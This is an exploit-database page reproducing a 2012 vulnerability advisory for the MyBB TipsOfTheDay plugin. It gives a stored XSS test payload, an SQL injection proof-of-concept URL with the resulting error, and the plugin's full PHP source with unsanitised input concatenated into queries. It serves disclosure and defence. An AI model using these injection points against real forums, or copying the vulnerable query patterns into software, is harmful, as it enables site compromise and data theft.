MyBB TipsOfTheDay Plugin Multiple Vulnerabilities
CVE
Category
Price
Severity
CVE-2020-9763
CWE-79
$350
Critical
Author
Risk
Exploitation Type
Date
Ira Laine
High
Remote
2012-12-13
CPE
cpe:cpe:/a:mybb:tipsoftheday_plugin
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required High PR The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files. Scope S An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2012120094 Below is a copy:# Exploit Title: TipsOfTheDay mybb plugin stored XSS and SQL injection vulnerabilitys.
# Date: 12.12.2012
# Exploit Author: VipVince
# Vendor Homepage: http://www.mybb.com/
# Software Link: http://mods.mybb.com/view/tips-of-the-day
# Version: 1.0
# Tested on: Windows
The tipsoftheday.php file is vulnerable to two common web vulnerability's. I will demonstrate below:
**********************************Stored XSS.**********************************************
The vulnerability lies here.
<?php
$query = $db->simple_select("tipsoftheday_users", "*", "totdid=".$mybb->input['approve']);
?>
And can be exploited here.
http://www.server.com/dir/misc.php?tips=newtip
Add <script>alert(/xss/)</script> into the boxes as newtip and then refresh the page. Bingo our stored XSS pop up.
**************************************** SQLi Vuln ***************************************************
<?php
$query = $db->simple_select("tipsoftheday", "*", "totdid=".$mybb->input['tip']);
$tip = $db->fetch_array($query);
?>
As you can see has not been sanitized.
It can be exploited via admin panel. POC below:
http://www.server.com/bladir/admin/index.php?module=config-tipsoftheday&action=edittip&tip=[VAILD_ID]'[SQLi]
Result.
[quote]
MyBB has experienced an internal SQL error and cannot continue.
SQL Error:
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
Query:
SELECT * FROM mybb_tipsoftheday WHERE totdid=1'
[/quote]
Brought to you by VipVince. Enjoy the 12/12/2012 "it only comes once" and all that bullshit.
<?php
if(!defined("IN_MYBB"))
{
die("Direct initialization of this file is not allowed.<br /><br />Please make sure IN_MYBB is defined.");
}
$plugins->add_hook("admin_config_menu", "tipsoftheday_admin_nav");
$plugins->add_hook("admin_config_action_handler", "tipsoftheday_action_handler");
$plugins->add_hook("admin_load", "tipsoftheday_admin");
$plugins->add_hook("index_start", "tipsoftheday_index");
$plugins->add_hook("misc_start", "tipsusers");
function tipsoftheday_info()
{
global $lang;
$lang->load("config_tipsoftheday", false, true);
return array(
"name" => $lang->name,
"description" => $lang->descriptionplugin,
"website" => "http://mybb-es.com",
"author" => "Edson Ordaz",
"authorsite" => "http://mybb-es.com",
"version" => "1.0",
"guid" => "f52d89922b319c5256b23cd1b3f09eb1",
"compatibility" => "*"
);
}
function tipsoftheday_activate()
{
global $db,$lang,$message;
$message .= $lang->activatemessage;
$lang->load("config_tipsoftheday", false, true);
if(!$db->table_exists("tipsoftheday") && !$db->table_exists("tipsoftheday_users"))
{
$db->query("CREATE TABLE IF NOT EXISTS `".TABLE_PREFIX."tipsoftheday` (
`totdid` smallint(5) unsigned NOT NULL AUTO_INCREMENT,
`uid` int(10) NOT NULL,
`tiptle` text NOT NULL DEFAULT '',
`tip` text NOT NULL DEFAULT '',
PRIMARY KEY (`totdid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;");
$db->query("CREATE TABLE IF NOT EXISTS `".TABLE_PREFIX."tipsoftheday_users` (
`totdid` smallint(5) unsigned NOT NULL AUTO_INCREMENT,
`uid` int(10) NOT NULL,
`tiptle` text NOT NULL DEFAULT '',
`tip` text NOT NULL DEFAULT '',
PRIMARY KEY (`totdid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;");
}
$tipsoftheday = array(
"tid" => "NULL",
"title" => 'tipsoftheday',
"template" => $db->escape_string('<style>
.tipoftheday{
display: block;
top:10px;
left:10px;
width:90%;
border:3px solid #FFD324;
background:#FFF6BF top left no-repeat;
padding:8px 8px 8px;
font-size:11px;
-moz-border-radius: 10px;
-webkit-border-radius: 10px;
border-radius: 10px;
-moz-box-shadow: 0px 0px 10px #777777;
-webkit-box-shadow: 0px 0px 10px #777777;
box-shadow: 0px 0px 10px #777777;
}
</style>
<span class="tipoftheday">
<strong>{$tip[\'tiptle\']}</strong><br />
{$tip[\'tip\']}
</span>
<br />'),
"sid" => "-1",
);
$tipsoftheday_newtip = array(
"tid" => "NULL",
"title" => 'tipsoftheday_newtip',
"template" => $db->escape_string('<html>
<head>
<title>{$lang->newtiptab}</title>
{$headerinclude}
</head>
<body>
{$header}
<form action="misc.php?tips=do_newtip" method="post" enctype="multipart/form-data" name="input">
<input type="hidden" name="my_post_key" value="{$mybb->post_code}" />
<table border="0" cellspacing="{$theme[\'borderwidth\']}" cellpadding="{$theme[\'tablespace\']}" class="tborder">
<tr>
<td class="thead" colspan="2"><strong>{$lang->newtiptab}</strong></td>
</tr>
<tr>
<td class="trow2" width="15%"><strong>{$lang->newtipsubject}</strong></td>
<td class="trow2"><input type="text" class="textbox" name="tiptle" size="60" maxlength="85" value="{$tiptle}" tabindex="1" /></td>
</tr>
<tr>
<td class="trow2" valign="top"><strong>{$lang->newtipbody}</strong></td>
<td class="trow2">
<textarea name="tip" rows="5" cols="70" tabindex="2">{$tip}</textarea>
</td>
</tr>
</table>
<br /><div style="text-align:center">
<input type="submit" class="button" name="submit" value="{$lang->sendtipadmins}" tabindex="4" accesskey="s" />
<br /></div>
</form>
{$footer}
</body>
</html>'),
"sid" => "-1",
);
$db->insert_query("templates", $tipsoftheday);
$db->insert_query("templates", $tipsoftheday_newtip);
require_once MYBB_ROOT."/inc/adminfunctions_templates.php";
find_replace_templatesets('index', '#{\$header}#', '{\$header}{$tips}');
$updatetips = array(
'uid' => 1,
'tiptle' => $db->escape_string($lang->templatitle),
'tip' => $db->escape_string($lang->templatbody)
);
$db->insert_query("tipsoftheday", $updatetips);
}
function tipsoftheday_deactivate()
{
global $db;
$db->drop_table("tipsoftheday");
$db->drop_table("tipsoftheday_users");
$db->delete_query("templates","title = 'tipsoftheday'");
$db->delete_query("templates","title = 'tipsoftheday_newtip'");
require MYBB_ROOT."/inc/adminfunctions_templates.php";
find_replace_templatesets("index", '#{\$tips}#ism', "");
}
class Tips_Send_User {
/*
* Static tips
*
*/
private static $tips;
/*
* Class tips
*
*/
public static function Tips()
{
if(!is_object($tips))
{
$tips = new self;
}
return $tips;
}
/*
* Verificar titulo
* Tip enviado por miembro del foro
*
*/
public function verify_title($title)
{
global $mybb,$lang;
if(my_strlen(trim_blank_chrs($title)) > 5)
{
return true;
}
else
{
error($lang->tiptleminchars,$lang->name);
}
}
/*
*Verificar cuerpo del tip
* Enviado por usuario del foro
* Esperando aprobacion
*
*/
public function verify_tip($tip)
{
global $mybb,$lang;
if(my_strlen(trim_blank_chrs($tip)) > 15)
{
return true;
}
else
{
error($lang->tipbodyminchars,$lang->name);
}
}
/*
* Subir tip a tabla de tips
* Esperando aprobacion
*
* Si se aprueba se muestra
*
*/
public function update_new_tip($title,$tip,$uid)
{
global $db,$lang;
$updatetips = array(
'uid' => $uid,
'tiptle' => $db->escape_string($title),
'tip' => $db->escape_string($tip)
);
$totdid = $db->insert_query("tipsoftheday_users", $updatetips);
redirect("index.php",$lang->sendpet);
}
/*
* Tips
* Pagina de usuarios
* Pagina para el foro donde
* Los usuarios envian tips al staff
* Desde ACP son moderados
* Para ser mostrados o no
*
*/
public function Tips_Users()
{
global $db,$mybb,$templates,$theme;
global $header,$headerinclude,$footer,$lang;
$lang->load("admin/config_tipsoftheday", false, true);
if($mybb->input['tips'] != "newtip" && $mybb->input['tips'] != "do_newtip")
{
return;
}
if($mybb->input['tips'] == "do_newtip" && $mybb->request_method == "post")
{
verify_post_check($mybb->input['my_post_key']);
$this->verify_title($mybb->input['tiptle']);
$this->verify_tip($mybb->input['tip']);
$this->update_new_tip($mybb->input['tiptle'],$mybb->input['tip'],$mybb->user['uid']);
}
if($mybb->user['uid'] == 0)
{
error_no_permission();
}
add_breadcrumb($lang->addcreateheader);
eval("\$newtip = \"".$templates->get("tipsoftheday_newtip")."\";");
output_page($newtip);
}
}
class tipsadmin
{
/*
* Admin Tip
* TipsAdmin
*
*/
private static $admintip;
/*
* Returns class
*
*/
public static function TipsAdmin()
{
if(!is_object($admintip))
{
$admintip = new self;
}
return $admintip;
}
/*
* Construct class
*
*/
public function __construct()
{
$this->tipsoftheday = new tipsoftheday();
}
/*
* Nav admin
*
*/
public function AdminNav(&$nav)
{
global $mybb,$lang;
$lang->load("config_tipsoftheday", false, true);
end($nav);
$key = (key($nav))+10;
if(!$key)
{
$key = '110';
}
$nav[$key] = array('id' => "tipsoftheday", 'title' => $lang->name, 'link' => "index.php?module=config-tipsoftheday");
}
/*
* Admin Load
*
*/
public function AdminTips()
{
global $mybb, $db, $page, $cache, $lang;
if($page->active_action != "tipsoftheday")
{
return;
}
$page->add_breadcrumb_item($lang->name);
$page->output_header($lang->name);
$this->action_save($mybb->input['tiptle'],$mybb->input['tip'],$mybb->user['uid']);
$this->newtip();
$this->deletetip();
$this->edittip();
$this->requests();
$this->approve();
$this->reject();
$this->edittemplate();
$this->templatenewtip();
$this->savetemplate();
$this->savetemplatenews();
$this->saveedit();
$this->tabs("tips");
$this->tabletips($mybb->post_code);
$page->output_footer();
}
/*
* Guarda el tip del dia
* Envia funcion
*
*/
public function action_save($tiptle,$tip,$uid)
{
global $mybb;
if($mybb->input['action'] == "save")
{
$this->tipsoftheday->Save_Tip($tiptle,$tip,$uid);
}
}
/*
* Pestañas de Configuracion
*
*/
public function tabs($location)
{
global $page,$lang,$mybb;
$lang->requeststabdes = $lang->sprintf($lang->requeststabdes, $mybb->settings['bburl']."/misc.php?tips=newtip");
$tabs["tips"] = array(
'title' => $lang->name,
'link' => "index.php?module=config-tipsoftheday",
'description' => $lang->tipsdestabs
);
$tabs["newtip"] = array(
'title' => $lang->newtiptab,
'link' => "index.php?module=config-tipsoftheday&action=newtip",
'description' => $lang->newtiptabdes
);
$tabs["requests"] = array(
'title' => $lang->requeststab,
'link' => "index.php?module=config-tipsoftheday&action=requests",
'description' => $lang->requeststabdes
);
if($location == "template" || $location == "usertips")
{
$lang->templatetab = $lang->nametabindex;
}
$tabs["template"] = array(
'title' => $lang->templatetab,
'link' => "index.php?module=config-tipsoftheday&action=template",
'description' => $lang->templatetabdes
);
if($location == "template" || $location == "usertips")
{
$tabs["usertips"] = array(
'title' => $lang->usertipstab,
'link' => "index.php?module=config-tipsoftheday&action=templatenewtip",
'description' => $lang->usertipstabdes
);
}
$page->output_nav_tabs($tabs,$location);
}
/*
* Guardar plantilla
* Envia informacion
* al siguiente class
*
*/
public function savetemplate()
{
global $mybb,$db,$lang;
if($mybb->input['action'] == "savetemplate")
{
if($mybb->input['continue'])
{
$this->tipsoftheday->savetemplate($mybb->input['template'],$mybb->user['uid']);
}
if($mybb->input['revert'])
{
$template = array(
"template" => '<style>
.tipoftheday{
display: block;
top:10px;
left:10px;
width:90%;
border:3px solid #FFD324;
background:#FFF6BF top left no-repeat;
padding:8px 8px 8px;
font-size:11px;
-moz-border-radius: 10px;
-webkit-border-radius: 10px;
border-radius: 10px;
-moz-box-shadow: 0px 0px 10px #777777;
-webkit-box-shadow: 0px 0px 10px #777777;
box-shadow: 0px 0px 10px #777777;
}
</style>
<span class="tipoftheday">
<strong>{$tip[\\\'tiptle\\\']}</strong><br />
{$tip[\\\'tip\\\']}
</span>
<br />',
);
$db->update_query("templates", $template,"title='tipsoftheday'");
$this->tipsoftheday->fmessage($lang->templatesave,"success","&action=template");
}
}
}
/*
* Guardar plantilla
* Peticiones
*
*/
public function savetemplatenews()
{
global $mybb,$db,$lang;
if($mybb->input['action'] == "savetemplatenews")
{
if($mybb->input['continue'])
{
$this->tipsoftheday->savetemplatenews($mybb->input['template'],$mybb->user['uid']);
}
if($mybb->input['revert'])
{
$template = array(
"template" => '<html>
<head>
<title>{$lang->newtiptab}</title>
{$headerinclude}
</head>
<body>
{$header}
<form action="misc.php?tips=do_newtip" method="post" enctype="multipart/form-data" name="input">
<input type="hidden" name="my_post_key" value="{$mybb->post_code}" />
<table border="0" cellspacing="{$theme[\\\'borderwidth\\\']}" cellpadding="{$theme[\\\'tablespace\\\']}" class="tborder">
<tr>
<td class="thead" colspan="2"><strong>{$lang->newtiptab}</strong></td>
</tr>
<tr>
<td class="trow2" width="15%"><strong>{$lang->newtipsubject}</strong></td>
<td class="trow2"><input type="text" class="textbox" name="tiptle" size="60" maxlength="85" value="{$tiptle}" tabindex="1" /></td>
</tr>
<tr>
<td class="trow2" valign="top"><strong>{$lang->newtipbody}</strong></td>
<td class="trow2">
<textarea name="tip" rows="5" cols="70" tabindex="2">{$tip}</textarea>
</td>
</tr>
</table>
<br /><div style="text-align:center">
<input type="submit" class="button" name="submit" value="{$lang->sendtipadmins}" tabindex="4" accesskey="s" />
<br /></div>
</form>
{$footer}
</body>
</html>',
);
$db->update_query("templates", $template,"title='tipsoftheday_newtip'");
$this->tipsoftheday->fmessage($lang->templatesave,"success","&action=templatenewtip");
}
}
}
/*
* Tabla de Tips
*
*/
function tabletips($mpcode)
{
global $db,$lang,$mybb;
$query = $db->simple_select('tipsoftheday', 'COUNT(totdid) AS tips', '', array('limit' => 1));
$quantity = $db->fetch_field($query, "tips");
$pagina = intval($mybb->input['page']);
$perpage = 15;
if($pagina > 0)
{
$start = ($pagina - 1) * $perpage;
$pages = $quantity / $perpage;
$pages = ceil($pages);
if($pagina > $pages || $pagina <= 0)
{
$start = 0;
$pagina = 1;
}
}
else
{
$start = 0;
$pagina = 1;
}
$pageurl = "index.php?module=config-tipsoftheday";
$table = new Table;
$table->construct_header($lang->user, array("width" => "10%"));
$table->construct_header($lang->title, array("width" => "10%"));
$table->construct_header($lang->tip, array("width" => "70%"));
$table->construct_header($lang->edit, array("width" => "5%"));
$table->construct_header($lang->delete, array("width" => "5%"));
$table->construct_row();
$query = $db->query('SELECT * FROM '.TABLE_PREFIX.'tipsoftheday ORDER BY totdid DESC LIMIT '.$start.', '.$perpage);
while($tip = $db->fetch_array($query))
{
$lang->deletetippopup = $lang->sprintf($lang->deletetippopup, $tip['tiptle']);
$table->construct_cell($this->tipsoftheday->username($tip[uid]));;
$table->construct_cell($tip[tiptle]);
$table->construct_cell($tip[tip]);
$table->construct_cell("<a href=\"index.php?module=config-tipsoftheday&action=edittip&tip={$tip['totdid']}\" ><img src=\"styles/default/images/icons/custom.gif\" /></a>",array("class" => "align_center"));
$table->construct_cell("<a href=\"index.php?module=config-tipsoftheday&action=deletetip&tip={$tip['totdid']}&my_post_key={$mpcode}\" onclick=\"return AdminCP.deleteConfirmation(this, '{$lang->deletetippopup}')\"><img src=\"styles/default/images/icons/delete.gif\" /> </a>",array("class" => "align_center"));
$table->construct_row();
}
$table->output($lang->name);
echo multipage($quantity, (int)$perpage, (int)$pagina, $pageurl);
}
/*
* Tabla de peticiones
*
*/
public function requests()
{
global $db,$lang,$page,$mybb;
if($mybb->input['action'] == "requests")
{
$this->tabs("requests");
$query = $db->simple_select('tipsoftheday_users', 'COUNT(totdid) AS tips', '', array('limit' => 1));
$quantity = $db->fetch_field($query, "tips");
$pagina = intval($mybb->input['page']);
$perpage = 15;
if($pagina > 0)
{
$start = ($pagina - 1) * $perpage;
$pages = $quantity / $perpage;
$pages = ceil($pages);
if($pagina > $pages || $pagina <= 0)
{
$start = 0;
$pagina = 1;
}
}
else
{
$start = 0;
$pagina = 1;
}
$pageurl = "index.php?module=config-tipsoftheday&action=requests";
$table = new Table;
$table->construct_header($lang->user, array("width" => "10%"));
$table->construct_header($lang->title, array("width" => "10%"));
$table->construct_header($lang->tip, array("width" => "70%"));
$table->construct_header($lang->options, array("width" => "10%"));
$table->construct_row();
$query = $db->query('SELECT * FROM '.TABLE_PREFIX.'tipsoftheday_users ORDER BY totdid DESC LIMIT '.$start.', '.$perpage);
while($tip = $db->fetch_array($query))
{
$lang->deletetippopup = $lang->sprintf($lang->deletetippopup, $tip['tiptle']);
$table->construct_cell($this->tipsoftheday->username($tip[uid]));;
$table->construct_cell($tip[tiptle]);
$table->construct_cell($tip[tip]);
$popup = new PopupMenu("tip_{$tip['totdid']}", $lang->options);
$popup->add_item($lang->aprobe, "index.php?module=config-tipsoftheday&approve={$tip['totdid']}");
$popup->add_item($lang->reject, "index.php?module=config-tipsoftheday&reject={$tip['totdid']}");
$Popuss = $popup->fetch();
$table->construct_cell($Popuss, array('class' => 'align_center'));
$table->construct_row();
}
$table->output($lang->name);
echo multipage($quantity, (int)$perpage, (int)$pagina, $pageurl);
$page->output_footer();
}
}
/*
* Aprobar
* Peticion
*
*/
public function approve()
{
global $mybb,$db,$lang;
if($mybb->input['approve'])
{
$query = $db->simple_select("tipsoftheday_users", "*", "totdid=".$mybb->input['approve']);
$tip = $db->fetch_array($query);
$title = $tip[tiptle];
$tipbody = $tip[tip];
$user = $tip[uid];
$db->query("DELETE FROM ".TABLE_PREFIX."tipsoftheday_users WHERE totdid='".intval($mybb->input['approve'])."'");
$this->tipsoftheday->Save_Tip($title,$tipbody,$user);
}
}
/*
* Rechazar el tip
*
*/
public function reject()
{
global $mybb,$lang,$db;
if($mybb->input['reject'])
{
$query = $db->simple_select("tipsoftheday_users", "*", "totdid=".$mybb->input['reject']);
$tip = $db->fetch_array($query);
if(!$tip['totdid'])
{
$this->tipsoftheday->fmessage($lang->tipnotexists,"error","");
}
$db->query("DELETE FROM ".TABLE_PREFIX."tipsoftheday_users WHERE totdid='".intval($mybb->input['reject'])."'");
$this->tipsoftheday->fmessage($lang->deletetipsuccess,"success","&action=requests");
}
}
/*
* Nuevo Tip
* Formulario
*
*/
public function newtip()
{
global $mybb,$page,$lang;
if($mybb->input['action'] == "newtip")
{
$this->tabs("newtip");
$form = new Form("index.php?module=config-tipsoftheday&action=save", "post");
$form_container = new FormContainer($lang->newtiptab);
$form_container->output_row($lang->newtipsubject, $lang->newtipsubjectdes, $form->generate_text_box('tiptle', "", array('id' => 'tiptle')), 'tiptle');
$form_container->output_row($lang->newtipbody, $lang->newtipbodydes, $form->generate_text_area('tip', "", array('id' => 'tip')), 'tip');
$form_container->end();
$buttons[] = $form->generate_submit_button($lang->savetip);
$form->output_submit_wrapper($buttons);
$form->end();
$page->output_footer();
}
}
/*
* Eliminacion de Tip
* Recibe totdid
*
*/
public function deletetip()
{
global $db,$mybb,$page,$lang;
if($mybb->input['action'] == "deletetip")
{
$query = $db->simple_select("tipsoftheday", "*", "totdid=".$mybb->input['tip']);
$tip = $db->fetch_array($query);
if(!$tip['totdid'])
{
$this->tipsoftheday->fmessage($lang->tipnotexists,"error","");
}
if($mybb->input['no'])
{
admin_redirect("index.php?module=config-tipsoftheday");
}
if($mybb->request_method == "post")
{
$db->query("DELETE FROM ".TABLE_PREFIX."tipsoftheday WHERE totdid='".intval($mybb->input['tip'])."'");
$this->tipsoftheday->fmessage($lang->deletetipsuccess,"success","");
}
else
{
$page->output_confirm_action("index.php?module=config-tipsoftheday");
}
}
}
/*
* Editar Tip
*
*/
public function edittip()
{
global $mybb,$db,$page,$lang;
if($mybb->input['action'] == "edittip")
{
$this->tipsoftheday->verify_totdid($mybb->input['tip']);
$this->tabs("tips");
$query = $db->query("SELECT * FROM ".TABLE_PREFIX."tipsoftheday WHERE totdid=".$mybb->input['tip']);
$tip = $db->fetch_array($query);
$form = new Form("index.php?module=config-tipsoftheday&action=saveedit", "post");
echo $form->generate_hidden_field("totdid", $tip[totdid]);
echo $form->generate_hidden_field("autor", $tip[uid]);
$form_container = new FormContainer($tip[tiptle]);
$form_container->output_row($lang->newtipsubject, $lang->newtipsubjectdes, $form->generate_text_box('tiptle',$tip[tiptle], array('id' => 'tiptle')), 'tiptle');
$form_container->output_row($lang->newtipbody, $lang->newtipbodydes, $form->generate_text_area('tip',$tip[tip], array('id' => 'tip')), 'tip');
$form_container->end();
$buttons[] = $form->generate_submit_button($lang->saveedittip);
$form->output_submit_wrapper($buttons);
$form->end();
$page->output_footer();
}
}
/*
* Guardar edicion
*
*/
public function saveedit()
{
global $mybb;
if($mybb->input['action'] == "saveedit")
{
$this->tipsoftheday->Save_Edit_Tip($mybb->input['totdid'],$mybb->input['tiptle'],$mybb->input['tip'],$mybb->input['autor']);
}
}
/*
* Editar Plantilla
*
*/
public function edittemplate()
{
global $mybb,$db,$page,$lang;
if($mybb->input['action'] == "template")
{
$this->tabs("template");
$queryadmin=$db->simple_select('adminoptions','*','uid='.$mybb->user['uid']);
$admin_options=$db->fetch_array($queryadmin);
if($admin_options['codepress']!=0)
{
$page->extra_header='<link type="text/css" href="./jscripts/codepress/languages/codepress-mybb.css" rel="stylesheet" id="cp-lang-style" />
<script type="text/javascript" src="./jscripts/codepress/codepress.js"></script>
<script type="text/javascript">
CodePress.language=\'mybb\';
</script>';
}
$query = $db->write_query("SELECT template FROM ".TABLE_PREFIX."templates WHERE title='tipsoftheday'");
$template = $db->fetch_array($query);
$form = new Form("index.php?module=config-tipsoftheday&action=savetemplate", "post");
$form_container = new FormContainer("Editar Plantilla: ".$lang->name);
$form_container->output_row($lang->edittemplatename."<em>*</em>",$lang->edittemplatenamedes, "<input type=\"text\" class=\"text_input\" value=\"tipsoftheday\" readonly=\"readonly\">");
$form_container->output_row($lang->edittemplateset."<em>*</em>",$lang->edittemplatesetdes, "<select><option>{$lang->name}</option></select>");
$form_container->output_row("","", $form->generate_text_area('template',$template['template'],array('id'=>'template','class'=>'codepress mybb','style'=>'width:100%;height:500px;')));
$form_container->end();
$buttons[] = $form->generate_submit_button($lang->savetemplate, array('name' => 'continue'));
$buttons[] = $form->generate_submit_button($lang->backoriginal, array('name' => 'revert', 'onclick' => 'return confirm(\''.$lang->revertoriginalquestion.'\');'));
$form->output_submit_wrapper($buttons);
$form->end();
if($admin_options['codepress']!=0)
{
echo '<script type="text/javascript">
Event.observe(\'add_template\',\'submit\',function()
{
if($(\'template_cp\'))
{
var area=$(\'template_cp\');
area.id=\'template\';
area.value=template.getCode();
area.disabled=false;
}
});
</script>';
}
$page->output_footer();
}
}
/*
* Editar plantilla
* peticiones de tips
*
*/
public function templatenewtip()
{
global $mybb,$db,$page,$lang;
if($mybb->input['action'] == "templatenewtip")
{
$this->tabs("usertips");
$queryadmin=$db->simple_select('adminoptions','*','uid='.$mybb->user['uid']);
$admin_options=$db->fetch_array($queryadmin);
if($admin_options['codepress']!=0)
{
$page->extra_header='<link type="text/css" href="./jscripts/codepress/languages/codepress-mybb.css" rel="stylesheet" id="cp-lang-style" />
<script type="text/javascript" src="./jscripts/codepress/codepress.js"></script>
<script type="text/javascript">
CodePress.language=\'mybb\';
</script>';
}
$query = $db->write_query("SELECT template FROM ".TABLE_PREFIX."templates WHERE title='tipsoftheday_newtip'");
$template = $db->fetch_array($query);
$form = new Form("index.php?module=config-tipsoftheday&action=savetemplatenews", "post");
$form_container = new FormContainer("Editar Plantilla: ".$lang->name);
$form_container->output_row($lang->edittemplatename."<em>*</em>",$lang->edittemplatenamedes, "<input type=\"text\" class=\"text_input\" value=\"tipsoftheday_newtip\" readonly=\"readonly\">");
$form_container->output_row($lang->edittemplateset."<em>*</em>",$lang->edittemplatesetdes, "<select><option>{$lang->name}</option></select>");
$form_container->output_row("","", $form->generate_text_area('template',$template['template'],array('id'=>'template','class'=>'codepress mybb','style'=>'width:100%;height:500px;')));
$form_container->end();
$buttons[] = $form->generate_submit_button($lang->savetemplate, array('name' => 'continue'));
$buttons[] = $form->generate_submit_button($lang->backoriginal, array('name' => 'revert', 'onclick' => 'return confirm(\''.$lang->revertoriginalquestion.'\');'));
$form->output_submit_wrapper($buttons);
$form->end();
if($admin_options['codepress']!=0)
{
echo '<script type="text/javascript">
Event.observe(\'add_template\',\'submit\',function()
{
if($(\'template_cp\'))
{
var area=$(\'template_cp\');
area.id=\'template\';
area.value=template.getCode();
area.disabled=false;
}
});
</script>';
}
$page->output_footer();
}
}
}
class tipsoftheday {
/**
* Tips
*
*/
private static $tips;
/*
* Static class
*
*/
public static function Tips()
{
if(!is_object($tips))
{
$tips = new self;
}
return $tips;
}
/*
* Guarda el tip del dia
*
*/
public function Save_Tip($subject,$body,$user)
{
global $db,$lang;
$this->verify_tiptle($subject);
$this->verify_tip($body);
$updatetips = array(
'uid' => (int)($user),
'tiptle' => $db->escape_string($subject),
'tip' => $db->escape_string($body)
);
$totdid = $db->insert_query("tipsoftheday", $updatetips);
$this->fmessage($lang->savetipsuccess,"success","");
}
/*
* Error de caracteres minimos
* Titulo y Mensaje
*
*/
public function fmessage($langerror,$type,$url)
{
flash_message($langerror, $type);
admin_redirect("index.php?module=config-tipsoftheday".$url);
}
/*
* Verifica el mensaje del tip
* Verificar si existen los caracteres correctos
* Verificar que el mensaje no este vacio
*
*/
public function verify_tip($tip)
{
global $mybb,$lang;
if(my_strlen(trim_blank_chrs($tip)) == 0)
{
$this->fmessage($lang->tipbodyempty,"error","&action=newtip");
}
else if(strlen($tip) < 10)
{
$this->fmessage($lang->tipbodyminchars,"error","&action=newtip");
}
else if(my_strlen($tip) < 10)
{
$this->fmessage($lang->tipbodyminchars,"error","&action=newtip");
}
return true;
}
/*
* Verifica si existe usuario
*
*/
public function verify_user($uid)
{
global $db,$lang;
$query = $db->simple_select("users", "COUNT(*) as user", "uid='".intval($uid)."'", array('limit' => 1));
if($db->fetch_field($query, 'user') == 1)
{
return true;
}
else
{
$this->fmessage($lang->usernotexists,"error","");
}
}
/*
* Verifica que exista el Tip
*
*/
public function verify_totdid($id)
{
global $db,$lang;
$query = $db->simple_select("tipsoftheday", "COUNT(*) as tip", "totdid='".intval($id)."'", array('limit' => 1));
if($db->fetch_field($query, 'tip') == 1)
{
return true;
}
else
{
$this->fmessage($lang->tipnotexistserror,"error","");
}
}
/*
* Verficar que el titulo
* del tip no este vacio
*
* Solo necesita 3 caracteres para poder enviarse
*
*/
public function verify_tiptle($tip)
{
global $mybb,$lang;
if(my_strlen(trim_blank_chrs($tip)) > 3)
{
return true;
}
else
{
$this->fmessage($lang->tiptleminchars,"error","&action=newtip");
}
}
/*
* Verificar la plantilla
* Verificar que no se encuentre vacia
*
*/
public function verify_template($template,$url)
{
global $mybb,$lang;
if(my_strlen(trim_blank_chrs($template)) != 0)
{
return true;
}
else
{
$this->fmessage($lang->templateminchars,"error",$url);
}
}
/*
* Formato de Nombre
* Nombre con Color
* Color del grupo Obtenido
*
*/
public function username($uid)
{
global $db,$cache,$groupscache;
$query_users = $db->simple_select("users", "*", "uid=".$uid);
while($user = $db->fetch_array($query_users))
{
$groupscache = $cache->read("usergroups");
$ugroup = $groupscache[$user['usergroup']];
$format = $ugroup['namestyle'];
$userin = substr_count($format, "{username}");
if($userin == 0)
{
$format = "{username}";
}
$format = stripslashes($format);
$username = str_replace("{username}", $user['username'], $format);
}
return $username;
}
/*
* Guardar Plantilla
*
*/
public function savetemplate($template,$uid)
{
global $mybb,$db,$lang;
$this->verify_user($uid);
$this->verify_template($template);
$template = array(
"template" => $db->escape_string($template)
);
$db->update_query("templates", $template,"title='tipsoftheday'");
$this->fmessage($lang->templatesave,"success","&action=template");
}
/*
* Guarda la plantilla
* Petiiones
*
*/
public function savetemplatenews($template,$uid)
{
global $mybb,$db,$lang;
$this->verify_user($uid);
$this->verify_template($template,"&action=templatenewtip");
$template = array(
"template" => $db->escape_string($template)
);
$db->update_query("templates", $template,"title='tipsoftheday_newtip'");
$this->fmessage($lang->templatesave,"success","&action=templatenewtip");
}
/*
* Guarda edicion de Tip
*
*/
public function Save_Edit_Tip($id,$subject,$body,$uid)
{
global $db,$lang;
$this->verify_tiptle($subject);
$this->verify_tip($body);
$this->verify_user($uid);
$this->verify_totdid($id);
$editupdate = array(
'uid' => (int)($uid),
'tiptle' => $db->escape_string($subject),
'tip' => $db->escape_string($body)
);
$db->update_query("tipsoftheday", $editupdate,"totdid=".$id);
$this->fmessage($lang->editsuccesssave,"success","");
}
/*
* Funcion para mostrar Tip
*
*/
public function Index_tips()
{
global $mybb,$tips,$db,$templates;
$query = $db->query("SELECT * FROM ".TABLE_PREFIX."tipsoftheday ORDER BY RAND() LIMIT 1;");
$tip = $db->fetch_array($query);
eval("\$tips = \"".$templates->get("tipsoftheday")."\";");
}
}
function tipsoftheday_action_handler(&$action)
{
$action['tipsoftheday'] = array('active' => 'tipsoftheday', 'file' => '');
}
function tipsoftheday_admin_nav(&$sub_menu)
{
tipsadmin::TipsAdmin()->AdminNav(&$sub_menu);
}
function tipsoftheday_admin()
{
tipsadmin::TipsAdmin()->AdminTips();
}
function tipsoftheday_index()
{
tipsoftheday::Tips()->Index_tips();
}
function tipsusers()
{
Tips_Send_User::Tips()->Tips_Users();
}
?>
Copyright ©2024 Exploitalert.
